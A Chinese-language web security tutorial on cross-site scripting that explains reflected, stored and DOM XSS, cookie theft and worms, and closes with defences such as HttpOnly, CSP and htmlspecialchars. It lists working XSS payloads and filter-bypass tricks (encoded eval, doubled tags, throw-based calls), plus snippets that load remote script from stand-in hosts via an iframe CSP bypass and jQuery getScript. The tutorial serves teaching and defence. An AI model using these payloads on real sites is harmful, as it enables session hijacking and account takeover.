【Web安全攻防从入门到精通】XSS漏洞
XSS漏洞
原理
破坏HTML结构,注入Script语句,执行恶意命令
反射型:
造成反射型XSS的主要是GET类型,此类型当前不和数据库交互,直接由前端进行反馈
存储型:
将代码存入服务器的数据库,每次访问都会触发恶意代码
<script>alert("xss")</script>
DOM型:
DOM型是特殊的反射型XSS。通过JS标本对文档进行编辑,从而修改页面的元素。
也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
?default=English #<script>alert(/xss/)</script>
XSS危害
最大的特点就是能注入恶意代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
盗取管理员Cookie
XSS可以盗取管理员Cookie后登陆后台,获取后台权限后,以管理员身份登录到后台,对后台进行数据下载、Webshell上传等高危操作
<script>alert(document.cookie)</script>
XSS蠕虫攻击
XSS蠕虫攻击可以以几何的速度传播XSS代码,获取大部分人的权限。一般配合CSRF使用
常用XSS语句
<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
XSS绕过与防御
编码绕过
- JS编码
JS不同进制情况下的构成:三个八进制数;如果不够,前面补0,加两个十六进制数;如果不够前面补0,加四个十六进制数;如果不够前面补0控制字符
- HTML编码
HTML编码是以”&“开头和以”;“结尾的字符串。使用实体代替解释为HTML代码的保留字符(&,<, , ” ),不可见字符(如不间断空格)和无法从键盘输入的字符(如©)
- URL编码
URL编码需考虑HTML的渲染方式,选择合适的编码方式进行测试。例如%27
- ASCII编码
<img src="x"
onerror="eval(String.fromCharCode(
97,108,101,114,116,40,34,120,115,115,34,41,59))">
- Unicode编码
<img src="x"
onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
- HEX编码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
- Base64绕过
<a href="data:text/HTML;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
其他方式绕过
- 复写标签
<sc<script>ript>alert(document.cookie)</script>
- 过滤空格
斜杠可以替代空格
- 过滤单引号、双引号
可以使用返单引号替换
- CSP绕过
创建一个iframe,如果外部有csp保护,而iframe没有csp头,可以用bypasscsp
f=document.createElement("iframe");
f.id="csp";
f.src="./1.txt";
f.onload=()=>{
x=document.createElement('script');
x=src='//xxxx.com/csp/1.js';
csp.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
- 过滤函数
大部分网站都会使用JQuery,可以使用到其中的方法进行JS远程加载
JavaScript:$.getScript("//xss.com")
- 过滤括号
使用throw过滤(bypass)括号
<script>onerror=alert;throw 1</script>
漏洞防御
- 过滤
过滤输入的数据,和非法字符如’ ” < > *
等,对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等
- HTTPOnly
对Cookie启用HTTPOnly
- CSP(Content Security Policy)
启用CSP后,不符合的外部资源就会被禁止加载
- PHP实体化
HTMLspecialchars方法可以编码双引号和单引号,需要开启第二个参数
HTMLspecialchars($string, ENT_COMPAT); //默认,仅编码双引号
HTMLspecialchars($string, ENT_QUOTES); //编码双引号和单引号
HTMLspecialchars($string, ENT_NOQUOTES); //不编码任何引号